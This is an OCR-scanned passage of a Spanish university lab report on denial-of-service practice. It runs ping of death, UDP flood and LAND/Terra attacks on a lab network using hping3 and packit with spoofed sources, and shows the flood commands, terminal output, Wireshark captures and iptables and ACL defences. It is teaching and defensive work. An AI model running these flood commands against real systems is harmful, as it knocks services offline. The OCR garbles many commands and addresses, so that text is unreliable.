10°1. 00581800 152.168.1.2 197,168.1.5 TCP 116 ndmp > jstel [PsH, ACK] Seq=82 Ack=1 win=65528 Len=62
11 1.02461800162.168.1. 8 152.168.1.2 TCP 60 ardus-cnt] » ndmp [ACK] Seg=1 Ack=82 win=64544 Len=0
12 1.02462800 192.168.1. 2 192.168.1.8 TCP 116 ndnp > ardus-crit] [PSH, ACK] Seq=82 Ack=l Win=64417 Len=62
13 1.20657300152.168.1. 5 192, 168.1.2 TCP 60 jstel » ndmp [ACK] Seq=L Ack=144 Win=63230 Len=0
14 1,22580000 192,168.1.8 192,168,172 TCP 60 ardus-crt] » nomp [ACK] Seg=l Ack=144 win=64482 Len=0
151.81473400192,168.1.2 192.168.1.8 TCP 73 ndmp > ardus-ct] [PSH, ACK] Seq=144 Ack=l Win=64417 Len=10
161.81477100152.168.1.2 164,168,1.5 TCp 73 ndmp > jstel [PSH, ACK] Seq=144 Ack=1 Win=G5520 Len=19
171 Q7007RANTG? 1AR 1 R 167 TRR 1 7 TR AN ardns-rnt] s neen Tack] San=1 ack=1A2 wWin=Rd4R2 | an=n

llustracién 172: Realizando andlisis del trafico con la herramienta Wireshark, andlisis nimero 1.

ANALISIS CON WIRESHARK #2.

27 30,8054520192, 168, 1.8 192.168.1.7 B2 [ToP Port numbers reusec
281115 B8, 1.§ 192.168.1.7 f2 [TCP Port riumbers reds it
192.168.1.2 62 nucleus-sand » nemp [SYN] Seq=0 Win=03535 Len=0 MSS=1460 SACK_PERMSL
30 34,1217200152,168,1. 5 192.168.1.2 i 62 hpymmedata > ndmp [SYN] Seg=0 win=63535 Len=0 M35=1460 SACK_PERM=]
31 354267940192, 168.1.2 216.234.79.8 UoP 44 Squrce port: 50180 Destination part: visas
32 39.6047410152,168,1.8 192.168.1.2 i 62 nucleus-sand » nemp [SYN] Seq=0 Win=A3335 Len=0 MSS=1460 SACK_PERMSL
33 39, 7628960152, 168,1.8 192.168.1.2 Tce 62 caiccipe » nemp [SYN] Seq=0 Win=63535 Len=0 MS3=1460 SACK_PERM=L
34 40,0561620152,168,1. 5 192.168.1.2 Tce 62 hpymmdata »> ndmp [SYN] Seg=0 win=63535 Len=0 M35=1460 SACK_PERM=]
35 40,1936980192,168,1.5 192,168.1.2 TCP 62 kwdb-camnn > ndnp [SYN] Seq=0 Win=63535 Len=0 M35=1460 SACK_PERM=L
36 42,8090030152,168.1.8 192.168.1.2 Tce 62 caiccipe » nimp [SYN] Seq=0 Win=63535 Len=0 MS3=1460 SACK_PERM=L
3743.1755110192,168,1.5 192,168.1.2 TCP 82 kweh-commn > ndmp [SYN] Seq=0 Win=63333 Len=0 WSs=1480 SACK_PERN=1
5
5

38 48.8509180 152,168, 1.8 102.168.1.2 i 82 cafccipe » ndmp [SYN] Seg=0 Win=65535 Len=0 M55=1460 SACK_PERM=1
3949,2092250192,168,1.5 192,168.1.2 TCP 82 kweb-commn > ndmp [SYN] Seq=0 Win=65535 Len=0 WSS<1480 SACK_PERN=L
40 55,4253620192,168.1. 216,23, 79.8 Lop 44 source port: 50180 Destinztion port: visas

41 61,8593510192.168.1.8 102.188.1.2 TP 82 sssTic-mgr » ndmp [SYN] Seq=0 Win=65535 Len=0 WSS<1480 SACK_PERN=1
42 62.1975080192,168.1.5 102.188.1.2 TP 82 saphastetr] » ndmp [SYN] Seq=0 Win=65935 Len=0 Mss=1460 SACK_PERi=L

llustraciéon 173: Realizando andlisis del trafico con la herramienta Wireshark, analisis nGmero 2.

Resultados del Ataque.

Durante el transcurso del tiempo (promedio de 40 minutos hasta que fue detenido) la
maquina donde se encontraba el servidor y la red en general no mostro ningan tipo de

consecuencia al momento de la realizacion del ataque.
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Una posible razon por la cual no provoco ningun problema es a lo mejor que a inicios o
surgimiento de este tipo de ataque, los atacantes comenzaron a aprovecharse de las
vulnerabilidades en los diferentes sistemas operativos de 1996, las empresas empezaron
a realizar nuevas correcciones en los sistemas, de tal manera que a partir de 1997 fueron
corregidas todas las vulnerabilidades que permitieran este tipo de ataque.

Download Speed Upload Speed

@ 0- 1 3Mbps

. o 3-52Mbps

Your IP:

190.212.66.161 TR

llustracion 174: Realizando el test de medicién de velocidad de descargar y subida, test nimero 1.

Se obtuvo 3.52 Mbps en velocidad de descarga y 0.13 Mbps en velocidad de subida.

b 4

Upload Speed

@ 0.13Mbps |

Download Speed

@ 3.50.-

Your IP:
190.212.66.161 Vo <3

llustracion 175: Realizando el test de medicion de velocidad de descargar y subida, test nimero 2.

Se obtuvo 3.50 Mbps en velocidad de descarga y 0.13 Mbps en velocidad de subida.
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DEFENSA CONTRA ATAQUE PING OF DEATH.
= Sjstemas Actualizados.

Una de las mejores soluciones contra este tipo de ataque es tener actualizado los
sistemas Windows con versiones superiores a Windows 2000, ya que estas versiones

cuentan con las caracteristicas de evitar este tipo de atagues.
= Nuevas Caracteristicas de Windows.

Las diferentes versiones de Windows han implementado la caracteristica que los
paquetes que envian con ping no pueden ser mayores de 65500, en caso de ser superior
no podra enviarse ningun tipo de paquetes, por ejemplo cuando se enviar con un tamafio

de 70,000 no es un intervalo valido

ss»JDocuments and SettingssAdminXping -t 192.168.1.2 -1 7P60Q
alor incorrecto para la opcion -1, el intervalo valido es de B a 65580.

t“Documents and Settings“Admin>

llustracion 176: Verificando una caracteristica de seguridad de Windows.

aciendo pding o con 65580 bytes de datos =

desde bytes==6550A tiempo<dim
desde bytes=65550A tiempo<lm
desde bytes==6558080 tiempo<lm
desde bytes=65500 tiempo<lm

] e e
i
e
I
e
MRNN
tcnen e

avra 192 _ 168 .1 .2:
Paguetess = = 4, »ecibidos = perdidos =
<A perdidos > .

iempos aproximados i vuelta en milisegundos =
Minimo = B@ms . = Media = Bms

Entrul—c

llustracion 177: Verificando una caracteristica de seguridad de Windows

= Parches.

Descargar las actualizaciones y parches de seguridad mas recientes para maquinas

Windows, estas se pueden descargar en el sitio oficial de Microsoft: www.microsoft.com.
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11.10ATAQUE UDP FLOOD.

Con la realizacion de este ataque se pretende generar grandes cantidades de paquetes

UDP aleatorios a los puertos en un host remoto contra la victima, este tipo de ataque en

ocasiones viene acompafiado de IP Spoofing para inundar a la victima.

Escenario.

Atacante

Backtrack Usuarios/Wireshark

192.168.1.6
. o

= . ‘ Intemet

-

-
-

192168 1.

www uach.com

192.165.1.10_ig

Atacante Backtrack

llustracion 178: Escenario a desarrollar aplicando ataque UDP FLOOD

Realizando el ataque.

En la realizacién del ataque UDP Flood se seguira haciendo uso de la herramienta packit

y haping3, con la siguiente sintaxis.
Packit —t udp -D 8 —=sR —d 192.168.1.4 —c 1000000000 —h
Donde:
-t protocol: tcp, udp, icmp, Arp.
-c nimero: nimero de Paquetes a inyectar.
-s direccion: IP origen mostrada (Spoofing).

-sr: Establece direccion IP origen aleatorio.
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-d direccion: direccion destino.
-h: host response: salida por pantalla.

Desde la maquina Atacante 1 se abrieron 8 terminales haciendo uso de la herramienta
hping3.

Terminal 1, se enviaron hasta el momento del corte 5315694 paquetes

root@rodolfo-laptop:/home/rodolfo# hping3 --udp --flood -p 80 192.168.1.7
HPING 192.168.1.7 (eth® 192.168.1.7): udp mode set, 28 headers + © data bytes
hping in flood mode, no replies will be shown

o &

--- 192.168.1.7 hping statistic ---

5315694 packets transmitted, © packets received, 100% packet loss

round-trip min/avg/max = 0.0/0.0/0.0 ms

root@rodolfo-laptop: /home/rodol fo#

llustracion 179: Realizando el ataque con la herramienta hping3, desde terminal nimero 1.

Terminal 2, se enviaron hasta el momento del corte 16740574 paguetes.

root@rodolfo-laptop:/home/rodolLfo# hping3 --udp --flood -p 80 192.168.1.7
HPING 192.168.1.7 (eth® 192.168.1.7): udp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown

oL

--- 192.168.1.7 hping statistic ---

16740574 packets transmitted, © packets received, 100% packet loss

round-trip min/avg/max = ©.6/0.6/0.0 ms

root@rodolfo-laptop:/home/rodolfo# l

llustracion 180: Realizando el ataque con la herramienta hping3, desde terminal nimero 2.
Terminal 3, se enviaron hasta el momento del corte 17021849 paquetes.

root@rodolfo-laptop:/home/rodolfo# hping3 --udp --flood -p 80 192.168.1.7
HPING 192.168.1.7 (eth® 192.168.1.7): udp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown

~C

--- 192.168.1.7 hping statistic ---

17021849 packets transmitted, © packets received, 100% packet loss

round-trip min/avg/max = 0.6/0.0/0.0 ms

root@rodolfo-laptop:/home/rodol fo# l

llustracion 181: Realizando el ataque con la herramienta hping3, desde terminal nimero 3.

Terminal 4, se enviaron hasta el momento del corte 15451376 paquetes.

root@rodolfo-laptop:/home/rodolfo# hping3 --udp --flood -p 80 192.168.1.7
HPING 192.168.1.7 (eth® 192.168.1.7): udp mode set, 28 headers + © data bytes
in flood mode, no replies will be shown

--- 192.168.1.7 hping statistic ---

15451376 packets transmitted, © packets received, 100% packet loss
round-trip min/avg/max = 6.6/0.6/0.0 ms
root@rodolfo-laptop:/home/rodolfo#

llustracion 182: Realizando el ataque con la herramienta hping3, desde terminal nimero 4.
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Nota: De la misma manera fue realizado al ataque UDP FLOOD, con la herramienta

hping3 desde la terminal 5, 6, 7, 8, obteniendo los siguientes resultados:

Terminal 5, se enviaron hasta el momento del corte 5086280 paquetes.
Terminal 6, se enviaron hasta el momento del corte 6969071 paquetes.
Terminal 7, se enviaron hasta el momento del corte 7663398 paquetes.
Terminal 8, se enviaron hasta el momento del corte 7663398 paquetes.

Luego para aumentar la intensidad del ataque se iniciaron 5 terminales con el uso

de PACKIT.

Terminal 9, se enviaron hasta el momento del corte 1504 paquetes inyectados

11:12:22_3820838

Src Port: 36935 Dst Port(s): 8

Src Address: 136.184.246.230 Dst Address: 192.168.1.4
TIL: 128 ID: 23447 TOS: 0x8 Len: 28

-| No Response From Peer
-| SND 1504 |
11:12:24.383228
Src Port: 32254 Dst Port(s): 8

Src Address: 224.116.160.206 Dst Address: 192.168.1.4
TTL: 128 1ID: 60988 TOS: @x@ Len: 28

Would you like to quit? (y/n): y

-| Packet Injection Statistics |
Injected: 15604 Received: © Loss: 100.0% Bytes Written: 42112 Errors: ©

root@rodolfo-laptop: /home/rodolfo# ||

llustracion 183: Realizando ataque con la herramienta packit, terminal niamero 9.

Terminal 10, se enviaron hasta el momento del corte 1486 paquetes inyectados

t Address: 192.168.1.4
Len

+ 192.168.1.4

llustracion 184: Realizando ataque con la herramienta packit, terminal nimero 10.
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Terminal 11, se enviaron hasta el momento del corte 1470 paquetes inyectados.

192.168.1.4

| Mo Response From Peer
=] SHD JATH |~-==v-rr e e e e e e e ——————
Dst Portis): 8

1 Dst Addre
TOS: 8xB Len:

Injection Stat cs | mrammmssmmsssamsssaEsEssssEssssEsss=ss=s
: 1478 PReceive : 188.8% Bytes Written: 41168 Errors: 8

llustracion 185: Realizando ataque con la herramienta packit, terminal nimero 11.

Terminal 12, se enviaron hasta el momento del corte 1454 paquetes inyectados.

11:11:52.323833
Src Port: 7863 Dst Port(s): 8

IP header: Src Address: 170.185.198.45 Dst Address: 192.168.1.4
TTL: 128 1ID: 43506 T7TOS: 6x8 Len: 28

| No Response From Peer |---
~C

Would you like to quit? (y/n): y

| Packet Injection Statistics | - - - - -
Injected: 1454 Received: © Loss: 100.0% Bytes Written: 46712 Errors: 8

root@rodolfo-laptop: /home/rodolfo#
llustracion 186: Realizando ataque con la herramienta packit, terminal nimero 12.

Terminal 13, se enviaron hasta el momento del corte 1440 paquetes inyectados.

| Mo Response From Peer

L B

Dst Port
14

llustracion 187: Realizando ataque con la herramienta packit, terminal nimero 13.

Desde la maquina Atacante 2 se abrid 1 terminales haciendo uso de la herramienta hping
y se enviaron 9953608 paquetes con un tamafio de 1000000000000000.

~rootEPubuntn i chomesrodolfoit hping3d —uadp

—Fflood —p 80 192 .168.1.7 —t 10000000000

PING 192 .168.1.7 (eth® 192 .168.1.723: udp mode set.,
in flood mode, no replies will be shown

28 headers = 0 data bytes

192 .168.1.7 hping statistic ——
9953608 packets transmitted, @ packets received,
round—trip mincavg-max = Q.0-9.0-0 .0 ms
rootPubuntu rhonesrodolf ol

100 packet loss

llustracién 188: Realizando ataque con la herramienta hping3, terminal nimero 14.
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Analisis con Wireshark #1.

Mo, Time Saurce Destination Pratocol Length Infa
1°0.00000000°83, 714, 187, 202 19..168.1.7 LDR 1468 source port: 15099 Destination port: 31037
2 0.00008500192.188.1.2 83.213.187.202 DR 62 Source port: 31037 Destination port: 15099
3001793500 83, 213,187, 202 152,168.1.¢ LDP 1468 Source port: 15099 Destination port: 31037
4 0,02137200 83,213,187, 202 192,168.1.2 LDF 1468 source part: 13099 Destination port: 31037
5 0,02140500192.168.1.2 83.213.187.202 DR 62 Source part: 31037 Destination port: 15099
6§ (0. 03448100 83, 213,187,202 192,168.1.2 LDP 1468 Source port: 15089 Destination port: 31037
7 0,03460600192,168,1.2 83,213,187, 202 DR 394 Source port: 31037 Destination port: 15099
8 0.04603400 83,213,187, 202 192.168.1.2 DR 1468 Source port: 15099 Destination port: 31037
5 0.07290700 2,159, 61, 180 192,168.1.2 LDP 1444 source port: 62918 Destination port: 31037
10 0, 08428700 2,139, 61,180 192,168.1.¢ LDP 1444 Source port: 62918 Destination port: 31037
11 0.09436400192.168.1.2 2.139.61.180 DR 62 Source part: 31037 Destination port: 62918
12 0,084454001592,168,1,2 2,130,681, 180 LDP 292 source port: 31037 Destination port: 62918
13 0,11857400 2,139, 61,180 162,168.1.¢ LDP 1444 Source port: 62918 Destination port: 31037
14 0.139425002.130.61.180 192.168.1.2 DR 1444 source port: 62918 Destination port: 31037
15 0,13850800192,168,1.2 2,130,681, 180 LDP 62 source port: 31037 Destination port: 62818
16 0,16408200192,168.1.2 83,213,187, 202 LDP 62 Source port: 31037 Destination port: 15099
17 0.1888220077.231.126.39 192.168.1.2 DR 681 Source port: 17767 Destination port: 31037
18 0.1978130077.231.126.39 192.168.1.2 DR 681 Source part: 17767 Destination port: 31037
19 0,22093300 2,139, 61,180 152,168.1.¢ LDP 1444 Spurce port: 62918 Destination port: 31037

llustracién 189: Realizando analisis con la herramienta de Wireshark, analisis 1.

Analisis con Wireshark #2.

1 [T

88850200 192.168.1.2 200, 88.255.203 1506 [TCP segment of 2 reassembled POU]
75 3.92157300 200,88, 255,203 162.168.1.2 TCP 86 http » apc-3052 [ACK] Seq=244 Ack=21979 win=65535 Len=0 SLE=23431 SRE=26075
76 3.96474400192,168.1.8 192.168.1.2 SME 107 Echo Request

odl

77 3.96478100 1 2 o SMB 107 Echo Response

7 2 56 [TCP Dup Ak 58#4] http > amt-cnf-prot [ack] se
79 3.99254300192.168.1.2 200, 88.255.203 TCP 986 [TCP segment of a reassembled PDU]
80 4.02552600 200.88.255.203 162.168.1.2 TCP 60 htto » amt-cnf-orot TACK] Seo=244 Ack=16616 win=A5535 Len=0

llustracién 190: Realizando andlisis con la herramienta de Wireshark, andlisis 2.

Analisis con Wireshark #3. _

Hlo. Time Saurce Destination Protacol Length Info
f 110, 0000000015, 168.1. / 167,168,171 DS 7 standard query 0x00c4 A www, goog e, com, ni
2 1.007612001%2.168,1.2 192,168.1.1 DS 77 standard query 0x00c4 A www. goog e, com.ni
3 2.00702000192.168.1.2 192.168.1.1 DS 77 standard query 0x00c4 A www. google. com, ni
4'3,086250001%2.168,1.2 2,139, 61,180 TCR 62 armadp > 62918 [SYN] Seq=0 win=65535 Len=0 MSS=1460 SACK_PERN<L
5 4.00698200192,168.1.2 192.168.1.1 DS 77 standard query 0x00c4 A www. google. com, ni
64.15099300192.168.1.2 216,234, 79.8 LDP 44 Source port: 58743 Dastination port: wisas
7 6,03304300192.168.1.2 2,139, 61,180 TCR 62 armadp > 62918 [SYN] Seq=0 win=65535 Len=0 MSS=1460 SACK_PERN<L
B B.00688300192.168.1.2 192.168.1.1 DS 77 standard query 0x00c4 A www. google. com, ni
811,0840920192.168.1.2 2.136,74.16 TCR 62 eln-momentim > 58450 [SYN] Seq=0 win=65535 Len=0 M35=1460 SACK_PERM=L
1012, 0790640192.168.1.2 2,139, 61,180 TCR 62 armadp > 62918 [SYN] Seq=0 Win=65535 Len=0 MS5=1460 SACK_PERM=1
11 13, 0961660 192,168.1,2 188,95, 248,75 TCP 62 facelink » sso-service [SYN] Seq=0 win=65335 Len=0 M55=1460 SACK_PERM=L
12 14,(936590182,168.1.2 2.136.74.16 TCP 62 en-manentum > 58450 [SYN] seqe=0 win=63333 Len=0 MSS=1460 SACK_PERM=1
13 14,1932660192.168.1.2 216.234.75.8 SIP 482 Request: REGISTER sip:talkdfree. com
14 14,7052680192.168.1.2 216.234.75.8 SIP 482 Request: REGISTER sip:talkdfree. com
1515, 7175440192, 168.1.2 216.234.75.8 SIP 482 Request: REGISTER sip:talkdfree. com
16 16, 0408710192,168.1.2 188,95, 248,75 TP 62 facelink » sso-service [SYN] Seq=0 win=65535 Len=0 M55=1460 SACK_PERM=1

llustracién 191: Realizando analisis con la herramienta de Wireshark, andlisis 3.
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Resultados del Ataque.

Durante el transcurso del tiempo (promedio de 40 minutos hasta que fue detenido) la
maquina donde se encontraba el servidor web y la red en general mostro una pequefia
reduccién, al transcurrir el tiempo se pudo observar las primeros mensajes de paginas no

encontradas.

Se procedi6 a la realizacion de los test para medir la velocidad de la conexién.

@

Upload Speed

@ 0-05 Mbps | ‘

Download Speed

1O 351w

Your IP:
190.212.71.183

llustracion 192: Realizando test para medir velocidad de descarga y subida, test niUmero 1.

En este primer test se obtuvo 3.51 Mbps en velocidad de descarga y 0.05 Mbps en

velocidad de subida.

@ Restart Test
TEEEBRENNNTN. R

Download Speed

0 3.06Mbps : @ 0.13Mbps

llustracion 193: Realizando test para medir velocidad de descarga y subida, test nimero 2.
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En este segundo test la velocidad de subida incremento obteniéndose un valor de 0.13

Mbps velocidad de subida pero reduciéndose la velocidad de descargar con 3.06 Mbps.

Visitando www.google.com.ni

| L. Problema al cargar la pagina

L

htty ww.goaglecom.ni

Servidor no encontrado

-

Firefox no puede encontrar el servidor en www.google.com.ni.

n Compruebe que la direccion na tiene errores de escritura del tipo
ww.¢jemplo.com en lugar de www.ejemplo.com

1 Sinanuede rarnar ninanna naaina camnmehe la canevian de rad de an saning

llustracion 194: Tratando de acceder al sitio web www.google.com y obteniendo como resultado problemas de conexion.

Visitando www.unanleon.edu.ni

L Problema al cargar la pagina

i

6 wwwunanleon.edu.ni

Servidor no encontrado

.-

Firefox no puede encontrar el servidor en www.unanleon.eduni

u Compruebe que la direccion no tiene errores de escritura del tipo
ww.gjemplo.com en lugar de www.gjemplo.com

= Sino puede cargar ninguna pagina, compruebe la conexion de red de su equipo.

= Sisu equipo o red estan protegidos por un cortafuegos o proxy, asequrese de que
Firefoxtiene permiso para acceder a laweb.

I Reintentar |

llustracion 195: Tratando de acceder al sitio web www.unanleon.edu.ni y obteniendo como resultado problemas
de conexion.

Unan-Leén Pagina 246




Practica de Denegacion de Servicio.

DEFENSA CONTRA ATAQUE UDP FLOOD.
= REGLA IPTABLES INMEDIATA.

Iptables -A OUTPUT -s 192.168.0.1 -p udp -j DROP

Esta regla establece que si han encontrado paquetes UDP salientes cuyas direcciones de
origen (-s)es 192.168.1.0, y saltar (-j) a la cadena DROP, es decir descartar el paquete.
Iptables-A OUTPUT-s 127.0.0.1-p udp-j DROP

$IPT -A OUTPUT -p udp -m state --state NEW - ACCEPT
$IPT -A  OUTPUT -p udp -m limt  -limt 100/s -  ACCEPT
$IPT -A OUTPUT -p udp -j DROP

= CREANDO UN ARCHIVO SH.
Se crea un archivo de texto vacio de nombre ataques.sh;
touch ataques.sh, posteriormente se edita con cualquier editor de textos el archivo
ataques.sh.
Nano ataques.sh
# Se declara el bash a utilizar
#!/bin/bash
# Se crean los archivos donde se alojaran las IPs para las listas negras;
iptables -A lista negra -m recent — -name blacklist_180 — -rcheck — -seconds 180 -m
comment — -comment “Denegar los paquetes de las IPs ingresadas a la lista negra
por 180 segundos” -j DROP
Estos archivos se crean en el directorio /proc ya sea en;
Iproc/net/xt_recent/blacklist_180
/proc/net/ipt_recent/blacklist_180

# Detener el UDP Flood

# Crear la cadena para UDP Flood

iptables -N cadena-udp-Flood

# Saltar a la cadena cuando el UDP es detectado
iptables -A INPUT -p udp -j cadena-udp-Flood
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# Limitar la velocidad UDP a 10/segundos con limite de 20
iptables -A cadena-udp-Flood -m limit — -limit 10/s — -limit-burst 20 -m comment — -
comment “Limite velocidad UDP” -] RETURN

# Log
iptables -A cadena-udp-Flood -m limit — -limit 6/h — -limit-burst 1 -j LOG - -log-prefix
“Cortafuegos: Probable udp Flood “

# Denegados por 3 minutos para flooder’s
iptables -A cadena-udp-flood -m recent — -name blacklist_180 — -set -m comment — -

comment “Lista Negra origen IP” -j DROP.

= FILTRAR TRAFICO UDP.

Access-list 101 deny ip 127.0.0.0 0.255.255.255 any log
Access-list 101 deny ip 224.0.0.0 31.255.255.255 any log
Access-list 101 deny ip MY.NET.58.0 0.0.0.255 any log
Access-list 101 deny ip MY.NET.149.0 0.0.0.255 any log
Access-list 101 deny ip 169.254.0.0 0.0.255.255 any log
Access-list 101 deny ip 192.168.0.0 0.0.255.255 any log
Access-list 101 deny ip 172.16.0.0 0.15.255.255 any log
Access-list 10 deny ip 10.0.0.0 0.255.255.255 any log
Access-list 101 deny udp any It 20 log

Access-list 101 permits ip any MY.NET.58.0 0.0.0.255
Access-list 101 deny ip any log

Unan-Leén Pagina 248




Practica de Denegacion de Servicio.

11.11ATAQUE LAND/TERRA.

Con la realizacion de este ataque se pretende que el atacante genere paquetes TCPSYN
donde el objetivo y la direcciéon de origen son la misma y los nimeros de puerto también
son los mismos, con el objetivo que la maquina de destino, se bloquee al no saber cémo

manejar esta situacion.

Escenario.
Alacante
Backtrack Usuarios/Wireshark
192 168 1 6 A
= ; Intemet
g 2 ‘ |
Eg ! 192 168 1 b

www uach com

192.168.1.3 ‘
. -

Atacante Backtrack

llustracion 196: Escenario a desarrollar aplicando ataque LAND.

En la realizacion del ataque LAND se seguird haciendo uso de la herramienta hping3, con

la siguiente sintaxis.

hping3 -V -c 1000000 -d 120 -S -w 64 -p 445 -s 445 --flood --rand-source VICTIM_IP
--flood: Los paquetes seran enviados tan rapido como sea posible y no mostrar
respuestas.

--rand-dest: modo aleatorio direccion de destino

-V <-- Verbose

-C --count: nUmero de paquetes.

-d --data: tamafio de datos

-S --Syn: set SYN Flag
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-w --Win: winsize (por defecto 64)

-p --destport [+][+]<puerto> puerto de destino (por defecto 0) ctrl+z inc/dec

-s --baseport: Puerto de origen (por defecto al azar).

Desde la maquina Atacante 1 se abrieron 11 terminales haciendo uso de la herramienta
hping3.

La victima tiene una direccion IP correspondiente a 192.168.1.4

rootEubuntu: - home-rodolfolf ifconf ig

ethd Link encap:Ethernet HUWaddr 08:00:27:4148:96:5e
inet addr:192.168.1.4 Bcast:192.168.1.255 HMask:255.255.255.0
ineth addr: fe80::a00:27ff (fed8:965e-649 Scope:Link
UP BROADCAST RUNMNING MULTICAST MTU:1500 Metric:1

RX packet=:36 errors:0 dropped:0 overruns:0 frame:0
TX packets:17 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000

RX buytes:4201 (4.2 KB) TX bytes:1818 (1.8 KB)

llustracion 197: Comando Ifconfig para verificar la direccion IP de la victima.

El atacante 1 tiene una direccién IP correspondiente a 192.168.1.3
root@rodolfo-laptop: /home/rodolfo# ifconfig
ethe Link encap:Ethernet direccionHW 80:26:9e:c2:ce:13

Direc. inet:192.168.1.2 Difus.:192.168.1.255 Masc:255.255.255.0

Direccidn inet6: feB80::226:9eff:fec2:cel3/64 Alcance:Enlace
ACTIVDO DIFUSION FUNCIOMANDO MULTICAST MTU:1588 Métrica:l
Pagquetes RX:99 errores:@ perdidos:@ overruns:® frame:e
Paguetes TX:31 errores:0 perdidos:® overruns:8 carrier:0

- = = -] almla - = = LG
llustracion 198: Comando Ifconfig para verificar la direccion IP del atacante.

El atacante 2 tiene una direccion IP correspondiente a 192.168.1.6
rootBubuntu: homesrodolfofft ifconfig

Link encap:Ethernet HWaddr 08:00:27:da:e5:eb
inet addr:192.168.1.6 Bcast:192.168.1.255 HMask:255.255.255.0
inetbt addr: feB0::af00:27ff :feda:eSebs64 Scope:Link

UP BROADCAST RUMNING MULTICAST MTU:1500 Metric:1

BX packets:Z8 errors:0 dropped:® overruns:0 frame:0Q
T¥ packets:17 errors:0 dropped:@ overruns:@ carrier:0
collizsions:0 txgueuelen:1000

RBX byte=s:3524 (3.5 KB) TX bytes:1818 (1.3 KB)

llustracion 199: Comando Ifconfig para verificar la direccion IP del atacante 2.

Terminal 1, se enviaron hasta el momento del corte 40111paquetes.

root@rodolfo-laptop: /home/rodolfo# hping3 -V -c 1000000 -d 65495 -S -w 64 -p 445 -5 445 --flood 192.168.1.4
using eth®, addr: 192.168.1.3, MTU: 1580

HPING 192.168.1.4 (eth® 192.168.1.4): S set, 40 headers + 65495 data bytes

auto-activate fragmentation, fragments size: 1480

hping in flood mode, no replies will be shown

.C

--- 192.168.1.4 hping statistic ---

40111 packets transmitted, © packets received, 180% packet loss
round-trip min/avg/max = 0.8/0.8/0.0 ms
root@rodolfo-laptop:/home/rodolfo# |

llustracion 200: Realizando ataque con la herramienta hping3, terminal nimero 1.
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Terminal 2, se enviaron hasta el momento del corte 38971 paquetes.

root@rodolfo-laptop: /home/rodolfo# hping3 -V -c 1000000 -d 65495 -S -w 64 -p 445 -5 445 --flood 192.168.1.4
using eth®, addr: 192.168.1.3, MTU: 1500

HPING 192.168.1.4 (eth® 192.168.1.4): S set, 48 headers + 65495 data bytes

auto-activate fragmentation, fragments size: 1480

hping in flood mode, no replies will be shown

L

--- 192.168.1.4 hping statistic ---

38971 packets transmitted, © packets received, 108% packet loss

round-trip min/avg/max = ©.8/0.8/0.6 ms

root@rodolfo-laptop: /home/rodolfo# D

llustracion 201: Realizando ataque con la herramienta hping3, terminal nimero 2.

Terminal 3, se enviaron hasta el momento del corte 39162 paquetes.
root@rodolfo-laptop:/home/rodolfo# hping3 -V -c 1060000 -d 65495 -S -w 64 -p 445 -s 445 --flood 192.168.1.4
using eth®, addr: 192.168.1.3, MTU: 1500
HPING 192.168.1.4 (eth® 192.168.1.4): S set, 40 headers + 65495 data bytes
auto-activate fragmentation, fragments size: 1480
hping in flood mode, no replies will be shown
.‘\C
--- 192.168.1.4 hping statistic ---

39162 packets transmitted, © packets received, 100% packet loss
round-trip min/avg/max = 0.8/6.0/0.0 ms

llustracion 202: Realizando ataque con la herramienta hping3, terminal nimero 3.

Terminal 4, se enviaron hasta el momento del corte 39003 paquetes.
root@rodolfo-laptop:/home/rodolfo# hping3 -V -c 1860080 -d 65495 -5 -w 64 -p 445 -5 445 --flood 192.168.1.4
using eth®, addr: 192.168.1.3, MTU: 1500
HPING 192.168.1.4 (eth® 192.168.1.4): S set, 40 headers + 65495 data bytes
auto-activate fragmentation, fragments size: 1480
hping in flood mode, no replies will be shown

.-\C

--- 192.168.1.4 hping statistic ---
390083 packets transmitted, © packets received, 186% packet loss
round-trip min/avg/max = 0.0/0.8/0.8 ms

llustracion 203: Realizando ataque con la herramienta hping3, terminal nimero 4.

Nota: De igual manera se realiz6 ataque LAND/TERRA desde olas terminales 5, 6, 7,

8,9, 10, 11, obteniendo los siguientes resultados:

Terminal 5, se enviaron hasta el momento del corte 39771 paquetes.
Terminal 6, se enviaron hasta el momento del corte 39791 paquetes.
Terminal 7, se enviaron hasta el momento del corte 40508 paquetes.
Terminal 8, se enviaron hasta el momento del corte 40508 paquetes.
Terminal 9, se enviaron hasta el momento del corte 42022 paquetes.

Terminal 10, se enviaron hasta el momento del corte 41981 paquetes.
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Terminal 11, se enviaron hasta el momento del corte 19388 paquetes.

El atacante 2, envié hasta el momento del corte 21111835 paquetes.

rootEubuntu : ~homesrodolfoft hpingd UV —c 1000000 —d 120 -3 —w 64 —p 4145 —=s 4145 —
192.168.1.4
ethd, addr: 192.168.1.6, MTU: 1500
192.168.1.14 (eth? 192 .168.1.4): 3 =et, 40 headers + 120 data bytes
in flood mode, no replies will be shoun

192.168.1.4 hping statistic ——
1111835 packets transmitted., 0 packets received, 100 packet loss
pround—tri minsavgsmax = 0.0-0.0-.0.0 ns

llustracion 204: Realizando ataque con la herramienta hping3, terminal de maquina atacante nimero 2.

ANALISIS CON WIRESHARK #1.

106 140, 012815 192.168,1.5 192,168.1.2 TCP 62 ivmanager > nomp [SYN] Seg=0 win=63535 Len=0 MSS=1460 SACK_PERM=1
107 146. 047793 192.168.1. 5 192.168.1.2 TCP 62 fvmanager > nemp [SYW] Seq=0 win=A5535 Len=0 mM55=1460 SACK_PERM=1
108 146.109143 192.168.1. 5 192.168.1.2 TCP 62 miva-mgs > ndmp [SYN] Seq=0 Win=63335 Len=0 M55=1460 SACK_PERM=1
109 149, 065321192, 168,15 192 168 1.2 TCP 62 miva-mgs » ndmp [SYN] Seq=0 win=65335 Len= 0 M55=1460 SACK_PERM=1
\ 102,168.1.8 68.1.2 62 [1CP port numbers reused] pictrography SYN 0 win=A5535 Len=0 M
111 154, 998783 192, 168.1. 5 192 188.1.2 TCP 62 miva-mgs > ndmp [SYN] Seq=0 win=65335 Len= 0 MSS 1460 SACK_PERM=1
112 156,251079192.168,1.8 192,168.1.2 TCP 62 pictrography > ndmp [SYN] Seg=0 Win=65535 Len=0 MSS=1460 SACK_PERM=1
113 162, 288758 192.168.1.8 197,168.1.2 TCP 62 pictrography > ndmp [SvN] Seg=0 Win=65535 Len=0 M5S=1460 SACK_PERM=1
114 162.408098192.168.1.8 182,168.1.2 TCP 62 healthd > ndmp [SYN] Seq=0 Win=65535 Len=0 M35=1460 SACK_PERM=L
